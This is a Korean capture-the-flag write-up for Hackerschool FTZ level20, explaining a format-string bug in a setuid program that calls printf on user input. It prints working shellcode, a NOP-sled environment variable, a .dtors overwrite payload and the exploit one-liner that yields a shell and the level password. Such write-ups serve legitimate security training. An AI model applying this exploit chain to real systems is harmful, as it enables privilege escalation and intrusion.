vortex5번이 FSB문제였는데,
비슷한 유형인거 같아서 한번 풀이를 적어볼려고 한다.
사실 FSB를 정식으로 공부하지 않아서, 정리할겸 해서 적어보겠다.
일단 hint를 보면
[level20@ftz level20]$ cat hint
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
버퍼의 길이가 80인데 79만큼 입력을 받는다.
하지만 아래에 포멧스트링없이 바로 인자를 주었다.
그렇다면 사용자가 직접 포멧스트링을 주면 어떻게 될까??
바로 뒤에있는 스택메모리의 값을 참조 할것이다.
한번 디버깅을 통해 봐보자,
(gdb) r
Starting program: /home/level20/tmp/att
%x%x%x%x //입력값
Breakpoint 4, 0x080483fb in setreuid ()
(gdb) ni
4f4212ecc04207a75078257825 //출력값
0x08048400 in setreuid ()
(gdb) x/32wx $esp
0xbfffe9d0: 0xbfffe9e0 0x0000004f 0x4212ecc0 0x4207a750
0xbfffe9e0: 0x78257825 0x78257825 0x0000000a 0x40015a38
0xbfffe9f0: 0xbfffea40 0x4000be03 0x40015bd4 0x40016380
0xbfffea00: 0x00000001 0x00000000 0x42015481 0x08048336
0xbfffea10: 0x42130ef8 0x42130a14 0xbfffea28 0x080482b5
0xbfffea20: 0x42130a14 0x4000c660 0xbfffea38 0x08048412
0xbfffea30: 0x42130a14 0x40015360 0xbfffea58 0x42015574
0xbfffea40: 0x00000001 0xbfffea84 0xbfffea8c 0x4001582c
출력값과 메모리를 비교해보면, 보는것과 같이 일치하는것을 볼 수 있다.
이제 payload 작성을 해보자.
[+]payload write
ftz 본 서버에서는 고정스택이지만, 내가 구축한 ftz에서는 default가 랜덤스택으로 되어있엇다.
고정스택으로 바꿀수 있지만, 그냥 랜덤스택으로 공격해보았다.
그리고 하나 주의해야할점은 환경변수 LANG이 en_US.UTF-8로 되어있는데 이것은 자동 인코딩되서 페이로드가 넘어가기 때문에, en_US로 바꿔주어야 잘 동작한다.
ret의 위치를 정확히 알수없으므로 dtors를 이용해 eip를 조작하였고,
환경변수에 많은 nop을 넣어서 적중확률을 높이는 식으로 해 보았다.
환경변수의 주소부터 먼저 찍어보자.
[level20@ftz tmp]$ export hack=`perl -e 'print "\x90"x100000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level20@ftz tmp]$ ./env
0xbffe75e1
[level20@ftz tmp]$ ./env
0xbffe75e1
[level20@ftz tmp]$ ./env
0xbffe75e1
덮어쒸울 주소는 nop의 중간쯤어디인 0xbfffae52로 하였다.
dtors도 알아보자.
[level20@ftz tmp]$ objdump -h att |grep .dtors
18 .dtors 00000008 08049594 08049594 00000594 2**2
FSB를 공부해봣으면 알테지만, int형의 표현범위때문에 값을 2개로 나누어서 덮어쒸어야 한다.
[.dtors+6][%c에 의해 출력될 값][.dtors+4][esp를 buf로 마추기위한 %8x%8x][%(0xbfff-28)c][%n][%(0x1ae52-0xbfff)c][%n]
[0x0804959a][aaaa][0x08049598][%8x%8x][%49123c][%n][%61011c][%n]
처음엔 이렇게 공격햇는데, 이게 뒤쪽 %n이 뒷주소를 덮어쒸어야 한다 아니면 앞주소까지 0x0001ae52가 들어간다.
[.dtors+4][%c에 의해 출력될 값][.dtors+6][esp를 buf로 마추기위한 %8x%8x][%(0xae52-28)c][%n][%(0x1bfff-0xae52)c][%n]
[0x08049598][aaaa][0x0804959a][%8x%8x][%44598c][%n][%70061c][%n]
공격!
[level20@ftz level20]$ (perl -e'print "\x98\x95\x04\x08","aaaa","\x9a\x95\x04\x08","%8x%8x","%44598c","%n","%70061c","%n"';cat)|./attackme
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.
clear Password is "i will come in a minute".
웹에서 등록하세요.
* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.